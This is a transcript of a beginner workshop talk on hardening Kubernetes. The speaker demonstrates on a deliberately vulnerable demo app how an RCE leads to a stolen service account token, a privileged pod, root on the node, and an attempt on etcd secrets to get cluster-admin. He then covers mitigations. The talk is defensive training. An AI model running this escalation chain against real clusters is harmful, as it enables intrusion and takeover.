 Okay, I guess I'll go ahead and get started. Thank you for coming after lunch. Hopefully I keep you awake. I know I got fully caffeinated beforehand, so I'm good to go. We're here to talk about hardening against Kubernetes hacks. This is a beginner level track. This is not going to be something that's super crazy. Look at this crazy way I've found exploits, a buffer overrun or anything like that. This is more of a look at why you need to pay attention, especially from a developer point of view, but also from operations. Why you need to pay attention to defaults and configurations and things that you might not be thinking about when you deploy an app. Now, I come from a developer background, I'm not going to read all that. I'm a developer advocate at Sneak. I am not here to talk about our products at all today, just here to talk about Kubernetes best practice, deployments on top of it, and what can happen if you're not paying attention to things that can impact security. Those eagle I might notice, I have a cross out of my CK, it just expired, so I got to renew my CK. I actually made that change, because I don't want to misrepresent, but I do have my CKS, I do have my CKD, and I will have my CK by this time, hopefully next month when I get around to it. I hear that they moved it all right up to 126 now, so I'm still boning up on what I need to know. I'm Eric Smalling on all the socials. I'm on Hackyderm for Mastodon, but you can find me all those places. Again, if you want to follow along, this is the GitHub repository. Click on the workshop directory in it that has the full walkthrough of what we're gonna do. We're not gonna do a lot of slides here. We're gonna mostly be coming right out of that GitHub repository. One more person, let's get my notes in front of me, and we'll get going here. So today we're gonna be talking about how the combination of app vulnerabilities and misconfigurations can allow an attacker to spread the radius of their attack on your cluster. This is a pattern that most every major exploit of recent years pretty much follows. An application vulnerability gives an attacker the initial foothold, and then either application or infrastructure level misconfigurations allow the attacker to spread out to other parts of your system. Pretty common narrative. Today we're gonna be talking about this in the context of Kubernetes, obviously. We're gonna walk through how we can go from exploiting an app vulnerability to basically owning a cluster. Now, this is a contrived demo. I am not gonna show you some fancy new RCE that's out there that nobody's seen before. Sorry to disappoint. I have to do something that's easily reproducible and demonstrable. So we're gonna set the stage here as a hacker, whether it be from the outside in or inside of a company, you have found a vulnerable port. You have found an application that has an RCE. And throughout this, and I'll get off these slides in a second, I have this graphic we're calling the timeline of doom where we're gonna walk through left to right the things we're finding and how we get from the initial app vulnerability to cluster ownership. And with that, I'm gonna get out of the slides and we're gonna jump right over to the GitHub repository that I was pointing you to and get it to go back to the top. So as I said, if we go to the first, I'll come on wifi, don't do that. We're gonna go to the workshop. If you're following along, we're gonna go to first, we're gonna stop here at the beginning. As I said to a couple of people earlier that walked in here, anytime you see a sneak person demonstrating something with a dash goof at the end, do not deploy this anywhere you care about. These are usually highly vulnerable repositories. This one's not so bad because it's a contrived example, but we have other ones out there. If you go poke around our account, if you were to deploy some of those apps to production, people will own your cluster or at least own your environment pretty quickly. They're meant for us to demonstrate vulnerable things. So you have been warned. Don't put this on your development servers, the QA environment, your company's cloud account, please. So you have been warned. So the setup, as I said, if you're gonna follow along, you need Docker desktop, you need kind Kubernetes and Docker, QPCT I'll get, and you need to clone this repository down. So for those who do wanna follow along, start doing that now, and I'm gonna have a question. The images pulled down should work on ARM. I am on M1 and it works on mine. I have built multi-arc for this, so you should be good either way. I also supposedly have un-rate limited Docker Hub accounts, so we shouldn't get hammered there either. Should, is the keyword. So the reason, while people are doing that, I'm gonna talk a little bit of why we have this platform. So Docker desktop is just easy, because it's there, it's easy to install, a lot of people have it. As long as you have Docker on your machine and it's running Linux, and you've just got the Docker command line, that should work just fine. The reason I am using kind is because it is a nice reproducible way to demonstrate a QBADM style deployment of Kubernetes. This is meant to be an example of you work at a company and you're DIYing your own cluster, and some of the things you might or might not be thinking about while you do that, and as an application developer, deploying on top of that kind of a cluster. Kind is really nice in that way, because it is, you can put on your own CNI on top of it, you can do all sorts of stuff with it. You can use other, you could probably do this with MiniCube, you could probably do this with a lot of others, but I chose kind because I did. One thing you don't want to make sure of though is if you are running Docker desktop or Rancher desktop, do not be running their Kubernetes, make sure that is turned off, because they will, you will, hey, you run a battery real quick, but they will fight each other and you'll have to know which one you're pointing at, not using the Docker one because it can't do multi-node and I can't do CNI and things like that. So, if you're running through the setup, at the bottom of this setup page, you'll see that there is a aptly named setup sh file, cd into the setup folder, run that script. That is going to stand up that kind cluster, it'll be 124 for you that screenshot's old. It's going to set it up with two nodes, a control plane and a worker, it's going to put, I think I have, I don't remember if I'm using Calico or Scylium. It says it's Calico, so it must be Calico. I changed it a while. And it's going to deploy our vulnerable app into it and set some other things up about it. You'll see at the bottom of it, a bunch of weightings, it's basically just caching up some containers that we'll be using throughout the demonstration. At the very bottom, you should see pod sneaky created, pod sneaky deleted, that's on purpose so that it just primes the image caching side of the kind cluster. And then for sanity tests, you can check your nodes and then you want to go to this URL, which is localhost web admin. If you followed all the steps and you're on Docker desktop at least, this should work. If it doesn't and you get a 404, I've got some kind of race condition in the script I need to work on. If you just rerun this cube apply, which has come from the setup script, just resends the ingress that should solve your 404 problem should you be getting it. What you should get is something that looks like this. And as I said, this is a contrived RCE. So this is just a Python app that allows you to execute commands. In a real-world scenario, a remote code execution exploit, if you're not familiar with it, is a way that a bad actor, attacker, whatever, can send specifically formatted requests, queries, data into your app and get access to run arbitrary code on your instance, your host, your server. And we'll be emulating that. Now we have other demos out there we can show you of log for shell or things that allow you to actually do that, but in 90 minutes I can't really get into all that minutia. So we do this simple one, which acts like one and gives them a nice pretty demonstrable face to it. So for those who are running the setup script, can I get a hands up that you're still running it or has anyone completed it? Yeah, on this Wi-Fi I have a bad feeling that it's gonna take a while. So, oh, well it's gonna need to be, depending on what version of Kubernetes you're running inside, the setup it's gonna start is a kind cluster with a specific set of parameters on it and a specific version of Kubernetes, 124 in this case. So the thing that takes the longest honestly is downloading that 124 node image. So if you already have that image possibly that'll speed things up, but you do need to run the setup scripts to get that and the app all deployed. So I'm gonna go slowly forward and hopefully this will finish. I wanna make sure that the goal today is to show you the exploit, walk through the whole process of expanding and expanding and expanding this exploit and then get into talking about what are some of the things we could do to mitigate this. I will mention some as we go, but at the end there's a whole section on ideas for patterns and things you can do to mitigate problems like this. A couple of things I'll call out immediately that will come up as a question is why the heck am I doing pod security policy? There's PSPs in here. PSPs were deprecated and removed in 125. Problem is most people aren't on 125. I shouldn't say most. Many people aren't on 125. You are going to, if you are a consultant working with customers, whether you're working with developers, operations, whatever, if they're running their own Kubernetes clusters there's a very high chance you're still using PSPs. So I'm showing them here. We will discuss what replaces PSP, how to do PSA. We'll talk about that when we get there, but PSPs are still a valid thing you're going to see in the wild right now. So they're included in this. I talked about why I'm using kind. We will talk about managed clusters like EKS, Cebo, whatever, a little bit later as well. But for now I'm going to go back to the steps and when you get to where that sanity test is passed we're going to go start exploring. And this is where you kind of put on the black hat-ish. And we're going to go look at this, taking a vulnerability and going forward with it. So we have this vulnerable app. We found this app out there through whatever means. Maybe we've got a POC we pulled down from the vulnerability and we're able to identify that this endpoint has the RCE in it. And if we take the URL in step, part one, step one, which is basically local host slash web admin and we're going to send a CMD argument in with the word host name. You'll see that the host name of the server, the host, that this process is running in RAM. Now again, like I said, this is contrived but that is exactly how an RCE can work. Is for instance in a log for shell situation you have a fake LDAP server out there that feeds back a class file that can do a remote shell back and all of a sudden you can start running commands like this on somebody else's host. So host name is interesting but the next thing I'm probably gonna wanna do is start poking around for information about what's going on in the environment this app is running in. So we're gonna run ENV and take a look at the environment variables. All sorts of stuff in there. So we get some interesting info here. We could see that there's a whole bunch of things called Kubernetes. So we now know, oh, this is most likely running in a Kubernetes cluster. Again, take off the mental blinder that you installed this yourself. We know that we're in Kubernetes cluster which means we're probably running in a container obviously and all that stuff. We see things like a service host. One of the more interesting pieces is we see a Kubernetes port and there's an internal IP address and ports. That is the internal API server endpoint. That's the control plane for Kubernetes if you're not familiar with the API server. So we'll note that and this is just, the text in here talks about that. And the next thing we wanna do is I wanna know what the IP, my pod's IP is because I'm gonna need that info later as well. So we're gonna send host name space-i and I got too many tabs already and there we go. So now I have that. So I know, okay, well I'm on this 10 dot address. Interesting, okay, more information. So at that point, let's take a checkpoint. Let's see what we know now. So we know that we have an application with this RCE, this Remote Code Execution Vulnerability. And it's available to us through port 80 in this case. We're pretty sure that we're running on a Kubernetes cluster. One of the environmental variables in there showed a port of 5,000 so we probably are on a service with this pod's listening on port 5,000. We have the internal API server apparently of a Kubernetes control plane, IP address, sorry. And we know what IP address we're running on. So pretty graphic, let's get past. So in the timeline of Doom, we're in that one I showed before. We know we have an app volume at that point, okay. How many people are still running the setup script? Okay, I apologize. I've had people actually, I presented versions like this where they use their hotspot and it's better, but I apologize, I didn't count on it being as slow as it is. I'm just gonna go forward, and we're gonna treat this as, you can play with this afterwards. If you can follow along and catch up, great. In fact, if I had swag, I'd give you some for doing it. But we're gonna, I'm gonna keep going through this. So I wanna make sure we have time at the end for questions and to get through it all. So I'm just gonna go through to step two now. And so now we're gonna try to access that API server. So by default, every Kubernetes pod has a service token associated with the service account. It's, no, let me just open this, talk about it while I pull it. And there it is. So I just cat it, I ran cat, bar run secrets Kubernetes IO service account token. That's the default place for the default token that by default gets mounted there. So that is a credential. We can use that to try to get at, that sort of pick it away at that API server and see what we can see with it. This, which is the next edge, this is just a side saying, even if we didn't have an RCE, we could potentially get a lot of this kind of information through something like the proc file system. If we could just get a directory traversal vulnerability, we could actually get into your environment variables that way, look at that. So similar kind of information to be gathered there, just more of an aside than anything else, but we do have an RCE. So we're gonna try to see, let's see if we've got some tools and access at our disposal. So I just ran curl to Google.com. And not only do I have curl, so hey, I've got curl on my file system. Yay. But I also have, it looks like access to the internet from this post to this container. I got a 301 back from Google, which is the normal response. So we have network access and we have curl at our disposal. So let's take what we've learned and we're gonna apply this to try to get at that API server. So we are gonna take the Kubernetes port we saw from the environment of environmental variables. We're going to, I'm going to skip past the pecking away at the API server to try to find something vulnerable and say that I found out, hey, end points seems to be available to me. And we're gonna form a curl command that goes after that. So here we have curling, we're taking the CA cert, which is right alongside that token, same place, using that and setting an authorization bearer with the output of catting the token. We're calling that 10.96.01, that's the Kube host. And we're calling the default end points and we got a response back. This is interesting, it shows that we have a good token mainly. We know we are able to talk to the Kubernetes API server. If this was not running in kind, this is one of the bad things about using kind since it's behind a Docker networking kind of layer, onion layer. We're seeing an IP address there that's 172.19.03 in this bottom section. That is very likely, would have otherwise be the public facing API server endpoint that I could get in at. Because we're in kind, we're actually, it's a local host one that's wrapped, but if we weren't in kind that we could use this IP now to try to get at this thing from outside of this pod. And that's all spelled out in the paragraphs below here. So we already knew a bunch of stuff. When the new info we have, the service account and pod configurations and its applications name is face is using the default auto mount service account token setting of true. So when you create a service account, by default that service account token will get auto mounted. You can turn that off, you can set that to false. Unfortunately the default in Kubernetes is true. And so it'll be there. You should set it to false in my opinion. So we'll leave that at that for a moment. So we found that token and we were able to connect to the API server with it. And again, the external IP is kind of masked. So we now know we have a pod token inside the pod. We have, it allows access to the endpoints API. So let's see if we can get deeper. This step we're gonna try to find out some more information about the cluster itself. So we found out a bunch of information about this container in this pod. We found a little bit about the cluster. We wanna get more info about this cluster. So we wanna now this using our RCE, this URL based back and forth is cumbersome. So I wanna try to use a local cube CTL and that token to start accessing this from my machine. Now you can imagine this could be either a machine connecting over the internet or more likely this is probably somebody who's got malware on a laptop who's connecting into your QA cluster or your dev cluster who knows what. So we're gonna take that token that we found in the prior, which there we are. I'm just gonna copy that whole thing and in your demonstration GitHub repository that we cloned coming back out of that setup folder. There is a little helper script in here called setup kube config shell. I'm gonna source that so I'm gonna put a dot setup kube config and it's gonna ask for the token. I'm gonna paste what I just copied out of the browser into this. And now again, here because I'm in kind I'm gonna put local host, oops, I can type in 6443. And it just created a quick kube config file and set my context to that. So if I do a kube CTL, let's do get pods. Okay, I gotta forbidden but that's actually not a bad thing. Hopefully I'm not riffing away from my steps here. But this is telling me that, that tells me first of all my context is set up correctly. I was able to connect to that API server because I got a forbidden back. And it's telling me that the system service account secure web admin cannot list resources pods in the API group in the namespace default. Because I didn't specify default on the command line, obviously. So this walks through all of that. But that forbidden error exposed something interesting. Secure, is that legible from the back? You need me to grow that? Are we okay? Okay, so there's a namespace named secure. Namespaces aren't technically security boundaries. Naming one secure does not make your deployment secure. But this one is named secure. So that's where the service account came from. So let's try using it. So we'll do add that to my command. And sure enough, there's a pod. Single pod, single container in there, running a web app. That's our vulnerable app. So we are now connecting from an external entity, an Xmime laptop in this case, to the API server using a token we stole from the pod that had a vulnerable remote code execution vulnerability in it. Let's see, let's see what else we can do with this. So we're gonna use the kubectl auth canI command, and we're gonna list our capabilities. So in the default namespace, cause I didn't provide one, it's saying I can get at endpoints. So that was my kind of my first in to know that the token worked. Remember, we were able to get endpoints. That's interesting, but whatever. But I don't really have a lot of access to anything else. But if I ask what I can do in the secure namespace, here you can see at the top resources, point at it here, I guess. The very top you see resources, wildcard and all the verbs. So I pretty much have all the access I need in this namespace. This is not uncommon with a deployment. Developer will write a deployment and create a service account and create our back for it. Because of course I'm gonna need to access this stuff in my namespace, it's my namespace. It's where my app is deployed. I need access to all the things they might think. So we have access to things in the namespace, in the secure namespace. So what we found out now, we already know all that stuff. The new info is that we have this token that has limited access in default, but it has broad access in the secure named namespace. And the finding here is that there's a role that gives this service account way too many permissions in this namespace. Shouldn't have that many verbs. You shouldn't give blanket access just because it's your namespace. Doesn't mean you need to do everything in your namespace. So moving to the next step. So now we wanna get a beachhead in this cluster. We wanna get our own code running out there. It's been nice to visiting this vulnerable pod, but I'd like to get my own stuff running out there. So the first thing I'm gonna do is I wanna get into that pod that's running with an exec so that I have a real shell in there, and I'm not having to use that web interface to mess with it. So we have, I'll rerun that pod. So there's our pod, and we're just going to do an exec into it. So I'll just type it. I have K alias to kubectl, because I'm lazy. IT, we're gonna go after web admin. Up, name the namespace secure. Gonna go after web admin, and we wanna run bash. Okay, and I'm exact into that pod now. From outside, exact in. Who am I? I can see it from the prompt, but I wanted to type it to be sure. I'm the web admin user. So that's a bonus. Whoever developed this container or this deployment, is not running as root by default. Most open source containers by default, the base images you pull, are usually root by default. You should not run as root if you can avoid it. We'll talk more about that in the mitigation sections, but that's a good sign for them. I need to be root though to do something. So let's see if I can sudo and become root. Sudo not found. Okay, well this image doesn't have sudo. That's good for them. Let's see if we can touch the file system and make some changes. So I'm gonna do a touch, test. I was able to make a file. So I have a readable, sorry, a writable root file system here. That is because whoever deployed this did not set the security context, read only root file system equal true. For those of you who aren't aware, when a container runtime starts up a container, all the layers that are in the image are immutable basically, and then it adds, inserts by default, a read write layer, and any mutations that happen at runtime are happened there with a copy on write kind of an operation. So what I just did is told the process said make a file so the file got put into that read write layer. That's interesting. We'll talk about why you might not want to run with a read write layer in a bit, but we'll leave it at that. Good information to have. So that's nice, but I really can't do much else here. I don't wanna really poke around in here much more. But I know now this pod really isn't interesting, so I wanna run my own pod. So we have, I'm gonna pull this up in my IDE to show it to you. We have some demo yamls with different pods to try to deploy. I'm gonna try to run a root pod, which is simply an Alpine pod. I just wanna see Alpine is root by default. I just wanna see if this will run. It's just gonna start up and sleep. I just wanna see if I can deploy that. So we'll go back to my shell and get out of my exec. And I'm going to do an apply into the secure namespace, the file demo yamls, root pod. It says it created it. As you'll see right there. So if I do a get pod in the secure namespace. Yes, I could set my default namespace, but I don't want to. So it's sitting there on container creating. It's probably pulling the Alpine image at the moment. In a moment, I'm not gonna wait for it right now, but you're gonna see it change to create container config error. The reason being, come on. Hey, there it goes. Let me do a describe on this. Pod root pod. See at the bottom here, it says container has run as non-root and image will run as root. So something, I didn't say that. My manifest didn't have run as non-root in it, but something is doing that. And that something is a pod security policy. I'm pretty, I know because I wrote this demo, but you can see here there's a PSP here. So pod security policy is making sure no images are running or no containers are running as root. That's also a smart choice, because again, even if you're in a container, if you're root, you have elevated privileges in that container to do things. You can do app, get install possible. You can do all sorts of things you might not want people to do. So I've got another pod here called non-root-priv. I'm gonna look at that. This one's a little more longer. It has an image called sneaky. It's in my Docker Hub repository. It's my own image, my own crafting. It's actually Matt up here wrote it, but I took it over and I own it now. It is going to try to run with privileged mode on. Privileged basically gives you access to devices on the hosts. I've heard it called the insecure mode. But it's gonna run as a non-root user. So it's gonna start up as a non-root, but be privileged and in doing so it's gonna try to mount the host volume on the node into the container at a path called charoot. So let's try to deploy that. Let me kill, secure, I'm gonna delete that root pod just to get it out of the way, so it's not confusing. Let me tell it it's a pod. Did I type that wrong? Okay. Did I, what did I miss? Oh, thank you. Okay. So now demo yamls, root, actually, read your notes are non-root, privyaml. This one immediately fails. And sure enough, it says pod security policy, unable to admit pod invalid privilege containers are not allowed. That's very standard. That's the standard pod security example. You don't want privilege containers. Privileged containers are, you don't need them. I mean, unless you're writing like low level, monitoring stuff for your Kubernetes clusters or you're running things that, you're a cluster op and you've got things like that. If you're running business apps, you don't need to be privileged. You shouldn't be privileged. If you are, come talk to me. I'll tell you why you don't need to be privileged. Utilities maybe, but, so that's good to know. So I've got another one called non-root, non-priv that gets rid of that. We're just saying, fine, I can run my sneaky image with my non-root, non-privileged user, since that's the only thing I'm seeming to be able to do. That says it deployed. So let's look at, and there it is running. So we have a sneaky pod that is running. So again, I don't want to get away from my notes because I'll get ahead of myself. Let's exact into it. I'm just going to copy this, so I don't have to type it. So here I am in my sneaky pod. Now we can't run as root, so we are the sneaky user in the sneaky pod. And however, this is my image. I do have sudo in my image. So now I am root in a pod, in a container, on somebody else's Kubernetes server. What can we do with that? So let's do a checkpoint real quick. We now know that the container is somewhat hardened by running as non-root and not having sudo in there. The application container is mutable, interesting. There are PSP configurations in place that are stopping root user and privilege mode. But that namespace, the PSP must not be setting allow privilege escalation to false. What that setting would do would be stop an SUID binary from doing what I just did. That is not default. So even though you say don't allow privilege containers, don't allow root users, unless you explicitly say don't allow privilege escalation, you can. And that's because there are applications out there who need to possibly elevate privileges temporarily to do something. So the folks that wrote the original container D-run, Docker and Podman and all that, they're like, oh, we're gonna have to allow that one, because there's too many apps that would break if we didn't. Nowadays, I kind of wish they hadn't made that decision and the Kubernetes folks would have, you know, would change this, but again, backwards compatibility. So just know that you can, you know, run SUIDs unless you explicitly say not to. So the PSP did not disallow privilege escalation is that step and I'm gonna take a drink. For anybody that might have caught up and I'm doubting Wi-Fi has let you, but we are now on two E, exploit MD, part five. So we have now exploited the secure name-to-name space. Let's see if we can get out of that because I want more, I always want more, I want to expand my borders. So we now have a container with root privileges and we're gonna use that to explore more of the cluster. We know this cluster is hosting this vulnerable application as we're saying in production, but in this environment, whatever this might be. But you know what? There's a good chance there might be people running the same app somewhere else on this cluster and I would like to find that if so and maybe use that to break out. So I'm gonna use Nmap. This is why I needed root because there are some commands that you need root to run and Nmap is one of them. I'm not a sysadmin, I'm not a network engineer. What I know of Nmap is it's a tool for scanning your network to find open ports. I know it has valid uses, I'm sure Marina over here can tell me these cool uses that network people use Nmap for, but I know it is, this is the thing you sniff networks with to break into things. So what I'm gonna do first, I'd like to know what my IP address is just so I kind of have a bearing of who I am on this network and I'm using host name I, you can also use IF config or whatever you like. And I'm gonna use that in the Nmap arguments but I have to copy because I had to relearn these every time I do it and I'm gonna replace what's in this with what I just pulled up. So I'm gonna delete, honestly it's just a 24 so I probably don't even need to do that. So what Nmap is now doing is it is searching for any port 5,000 listeners on that subnet on the 24 bit NETMASK. So anything in 10, 244, 162 that's listening on 5,000 any moment now it will come back and tell me what's there. There we go. So it is telling me that, scan report for, we've got 162.129 and 162.133 both were found listening on that TCP port. We know that 129, well let's actually before I say that let's go back to our browser and the port where I pulled the IP address 133 is our vulnerable app that we started with. That's this one. That's not, that's something else listening on port 5,000. Now I know it's not this, my sneaky image container because that's 136. So I wanna see what's in this 133 it's listening on port 5,000 maybe it's vulnerable. So again, I'm not gonna belabor this but we have another app listening on 5,000 that's not in the secure namespace. We know it's not in the secure namespace because we looked at the pods running insecure there's only one and only has one instance on one replica. So it's gotta be somewhere else. This also tells me this plus the fact that I was able to hit Google pull images from Docker hub is we probably have absolutely no network policy in place here or we have a very loose one if any and perimeter firewalls seem to be not set up either which is maybe that's contrived but network policy missing is not something that's that. That happens a lot. A lot of developers shy away from network policy because they think firewall rules that's not my job. Network policy if you're a developer like me in this crowd and you look at network policy and you think it's scary it's really not please take some time to learn it and we'll talk about that in a little bit as a yeah and we'll talk about that in a little bit. So I'm gonna skip over that we're just gonna go to the time mode. We now know that network has nearly no or no network controls are in place here. So let's try to get out of our namespace by attacking that IP address. So now on part six and we're going to use another tool that I'm sure has valid reasons for you all uses admins out there. Socat I use it for tunneling through things. So we're going to use that in the sneaky pod. We're gonna set up a listener there on 5001 and we're gonna send all traffic to this other pod on 5000 and I have to adjust that IP. So what was it? It was 130 129 yeah. Okay there we go. So that's just gonna sit there and route traffic for me. So I need now need to come back out I'm gonna open another shell and I'm going to do a Kube CTL port forward into the sneaky pod so that I can send traffic through that port forward and then bounce it through that at Socat. So I'm gonna copy that. So if I open another terminal, let me grow that font up for you. CD back into the right directory. So if you look at where we ran that setup kube config SH it dropped a demo kube config file and I can cat that. So that's that token we stole at the beginning. I want to set my kube config to that and then I'm gonna port forward into the sneaky pod in the secure name namespace. So now I'm listening on localhost 5001 sending to 5001 in sneaky pod which will then turn around and send it to 5000 and whatever that other thing is. So from there I'm just gonna open a localhost 5001 and lo and behold it's the same app. Imagine that. So you notice I didn't put a context on there because I am not going through port 80. I'm not going through any kind of ingress, any kind of routing thing. I'm hitting a pod directly at this point or a service. So let's see if it's vulnerable. Maybe this is a new version. Maybe they know about this vulnerability and they fixed it. So let's just do command equal. Oh, I don't know. Post name again. It's vulnerable. So somebody else, maybe a developer who knows is running another copy of this app somewhere else in the cluster. Now, okay. So let's rinse and repeat. Let's try to get the token out of that. There it is. So we're gonna copy that token. Now, again I'm gonna make sure I'm following my steps. Don't wanna skip ahead of anything. Now I don't really need the port forward anymore because if this is what I think it is I should be able to get into that pod the same way I got into this one. So just I'm gonna kill my port forward here. I'm gonna kill my slow cat and exit out of my sneaky pod. I'm gonna edit that demo cube config file just because it's easy. And I'll just comment that line out and we'll add a new token. I'm just gonna paste it in. And now let's do cube CTO, get pods. It's a default namespace token. So I can see there's another copy of web admin running but I'm in the default namespace because I did not specify a namespace on that command line. So I should now be able to do the good old cube K auth can I dash dash list. So now I'm in the default namespace with a wild card resource that has all the verbs. So why would this have happened? Well, developer maybe deployed to default namespace in this development cluster and didn't bother to go through and set up our back for it just because they're hacking away. They're trying something out, not uncommon. So yeah, that's interesting to me. So now I would like to try to deploy my non-root priv file again into the default namespace. So if you remember, this is the one that's gonna try to run in privilege mode. So again, we're kind of in a rinse and repeat mode here. We're gonna do K, apply, file demo YAML, non-root priv. I'm not doing the root one because that's just alpine and I'm kind of past that. I don't really care right now. It says it created it so we don't have a PSP stopping things in the default namespace, apparently. Okay, get pods and it's running. Okay, exec it into the non-root priv bash. And you can see where I'm going. I'm now root in a privileged pod in the default namespace of this cluster. And again, making sure I'm not getting past anything. So, let's see, what am I looking at? Okay, so I become root. Now what I can do is kind of interesting. Let's do a PS. There's my process list. That's normal for a container, right? All I see is the bash that I'm in, ignore the goTTY, that's another hack I have in this sneaky image I could actually be connecting through a web terminal goTTY server, goTTY is fun. But I'm just running PS here. I've just got, those are the processes running in this container. However, if you, again, I'm not a sysadmin, but I know that PS uses the proc file system to list its processes. So if I do a charoot, change my root to the aptly named charoot volume and do it again, there's all the processes on the host. I'm now basically root on this box. This node is mine because I'm privileged. Again, privilege, bad, unless you know what you're doing, please don't use privilege. And again, that's because the proc file system, the PS command is looking at the proc file system to come up with all the processes. And when I remaps, charoot remaps what your root volume is for the context of where you ran it. So now we know, got a lot of stuff here, but you've been following along. So you get where we are here. We are now finding that we have no restrictions in the default namespace to speak of, or at least not enough that stopped me from doing that. So the next step, I'm gonna check my time. Well, we're doing pretty good, okay. Let's take this over the finish line, as it says. So owning a node is nice, but we wanna own a cluster. So now that we have that host file system, there's a lot of information on a node's file system that is useful. So what we wanna get at now is, I wanna look into the kubesystem namespace, and I wanna see what other nodes are in this cluster. So I need a token for doing that. Well, fortunately, the kubelet has one of those. And as you can see in these steps, I'm gonna now use the kubelets kube config to start poking around. So we're gonna copy this, so then I don't have to type it, and it's my sneaky pod. I have kubectl in there, so I don't even have to worry about downloading and installing that. Let's list our pods, and so I can see kubesystem now, because kubelet has that privilege, and it has the ability to look at nodes. So I can see I have a kind control plan and a kind worker. Do-do-do-do, that's all that. I wanna run a pod directly on this server. I'm not gonna do this, I wanna wait for the Wi-Fi to pull down Busybox. You can't. The kubelet token is not allowed to ask the API server to start a pod, because it would never need to do that. Kubelet starts containers. Kubelet talks to the runtime, it wouldn't do that. So if I were to try to run that, I'm gonna get it forbidden, because it doesn't have those privileges. However, I do have Etsy Kubernetes manifests. I could put in anything I want in there, and it'll start those up all day long. Not gonna do that. That is an option, though. But because we've escaped this pod security policy and we know what nodes we have, I wanna go after something else. I wanna launch a pod to the node that is hosting SCD and mount the file system there to find out the credentials to SCD, because SCD is where everything is. So, go back to my IDE. See, I have a simple SCD pod definition. It's gonna go use the standard SCD 3310 image, and I'm actually skipping forward here. So let me show you, let me do this. So I'm gonna describe the pod that we see in their named SCD kind control plane in the kube system. And I can scroll up here and there's all sorts of juicy bits of information here. It's telling me where my cert file is, what's the IPs for connecting to the SCD database, all that good information that I might need to go after SCD. And because it's kind, it's all gonna be the same values every time. So I've already copied those in here for you. And you can see environment variables being set up for all the things about where that is and the mount paths for where those certain keys are on the node that we're gonna run this on. So, let me go ahead and, again, let me go back to my steps. This just talks about what I just said. And if they were different, you would edit that YAML file to match, but we're gonna go ahead and, oops, copy this. We're gonna get out of my sneaky pod. One more, they're back on the laptop. Using the default namespace token, sorry, that is my daughter's school district calling to say they probably have no school tomorrow again because it's ICE all over the place there. Okay, so we have just deployed SCD Client. It's running. And I'm then going to exec into that. And I first just wanna do something that will verify that the connection's working. So I'm gonna do an SCD CTL member list. And that tells me, hey, yeah, I was able to connect, here's some information about the SCD cluster. Now, what do you go after in SCD? You go after secrets, of course. So I'm gonna go get keys, grep for secrets. And only two things came back. That's interesting. So this has changed from when I ran this, probably because I ran this against 123. Just a second. Here is where you see the guy that does the demo sweat because I've made a change to my repository without changing my steps. So shoot. What I expected to see is what you see output here. And now I'm thinking back, and this is why, because I used to run this on 123 and I've updated it to 124 and you never do that right before your demo. In 124, the defaults for secrets, I believe changed for tokens. But what you should be seeing, if I were to go back and troubleshoot this if I had time to, is a whole bunch of secrets and we're looking for the cluster aggregation controller token one. Now that's not a cluster aggregation controller one. This one has cluster admin rights by default. So we want to go after that token. If I have time at the end of this, I'm going to run through showing you the screenshots and I'm going to try to redeploy this quickly on 123 and show it to you. But what you would see is this big long, if you go on there, you get it, replace the command with the right token. You get the output with this token in it, set that up the same way we set the other token up and do a can I, this is old, you don't actually have to do the pasting of the token in there, but you would see that you have not quite full access but you do have escalates on cluster roles. If you then edit your roles because you have escalate, you can escalate your privileges to wildcard everything and do the off can I again, now you have wildcard with all verbs. Apologize for that demo failing at the very end there, trust me, you can do this and I will fix this. But what we did here is we got root access on the node, got us the kubelet token, used the kubelet token to get access to the kube system resources, including SCD pod. We then deployed that SCD client in there and went after the credentials, got that credential and then escalated its rights to become root. So we are now owning the cluster. So like I said, let's talk about ways to mitigate a lot of the things we just saw and if I have time I'll go back and I'll actually show you that happening in a second. So there's a few, this is by no means exhaustive. There are many things, those of you who do security, you probably think of a million things we could be doing better in this cluster, but some of the low hanging fruit, first of all, we had an RCE and an app. Now given this, this was a contrived example, but you should be scanning your apps for vulnerabilities, period. Now obviously I work for Snake, I would love you to use our tools, I don't care what tools you use, honestly. Use whatever you, Snake, use whatever you have to make sure you're catching any known vulnerabilities in your apps. This is just a screenshot of what our tool would look like. Actually we've updated our UI, I need to update that. Static analysis, library, dependency analysis, image analysis, all those kinds of scans, you wanna do all that to find vulnerabilities, snuff them out before they even get committed to your code. Also, you wanna have, there's many scanners that do this, you wanna go in and look for bad practice in your Kubernetes YAML. So here we're looking at that allow privilege escalation. If you were to run most Kubernetes scanners, this is the output of ours, it'll let you know, hey, medium level severity, your container's running without privilege escalation control, it walks you through, tells you why that's bad, how to resolve it, all those kinds of things. So scan your code, scan your IAC files, scan everything you got with whatever scanners you prefer to use. Next, we talked about this when we saw it, the service account token auto mount. This, you should set to false, whenever you create a service account, do it. You can also set it in the pod, but just set it on the service account. Unless your program, your process, for some reason needs to talk to the Kube API, you don't need that token, don't mount it in there. And setting that to false will stop that. That would have stopped us in our tracks on this example and this thread of execution right away. And this will walk you through if you go through here, how to do this, basically you just add this line to your service account definition and you're done. So there were changes in 124, and I'm wondering if this is what caused my issue at the end, but that's, in 124, legacy service account token, no auto generation feature is now enabled. And that sounds like it would stop that token from getting mounted, but it doesn't. It just stops the secret from being created that you can easily pull down from the API. It does not stop the token from getting mounted in the pod, because again, backwards compatibility, you may have apps that do talk to the API server and they don't want to, by default, break everybody's app that's not explicitly asking for that token. Yeah, so there you go, yep, so there you go. And again, you should be setting, if you're using PSPs, again, we'll get to PSPs are going away, you should be at least setting that. Don't allow people to have privilege escalation because they can use SUID. Now again, that can break things, so test your apps, obviously. Lock down your RBAC permissions, for goodness sake. If you were to look into what we deployed in this example, the web admin service account RBAC roles, you'll see a common mistake, giving your service account blanket privileges. That allowed me to start doing things in there that I shouldn't be allowed to do. Not only that, but they also basically didn't have anything on the default namespace. So pay attention to default. Now, this is a religious war. Whether or not you should allow people to use default in your clusters, I don't care, but a lot of people don't want developers using default. It's just another namespace. However, it's everywhere, you can't not have it. So there are some people who would say, block default from getting deployments in your clusters because then you don't have to worry about our permissions being set there correctly or not. That's your call. I was talking to Duffy Cooley about this, as far as how would you do that fool-proofly, and his favorite way to do that actually, he said you could just set quotas to zero in default. So you can deploy all you want, but it's not gonna run. It's interesting. That's a, it's a curious way to do it, but again, we'll get to more ways, better ways maybe to do that in a minute. Be explicit in your namespaces. That's another way to do it, is make sure everyone's deploying with a declared namespace. That's another, again, religious war you can have. For that kind of a thing, if you're gonna do that, I've seen a lot of people use customize, so they're using that to automatically populate in a namespace as they create the, as they do the deployments. You look into that if you want, but the one I wanna really talk about though is network policies. I mentioned this 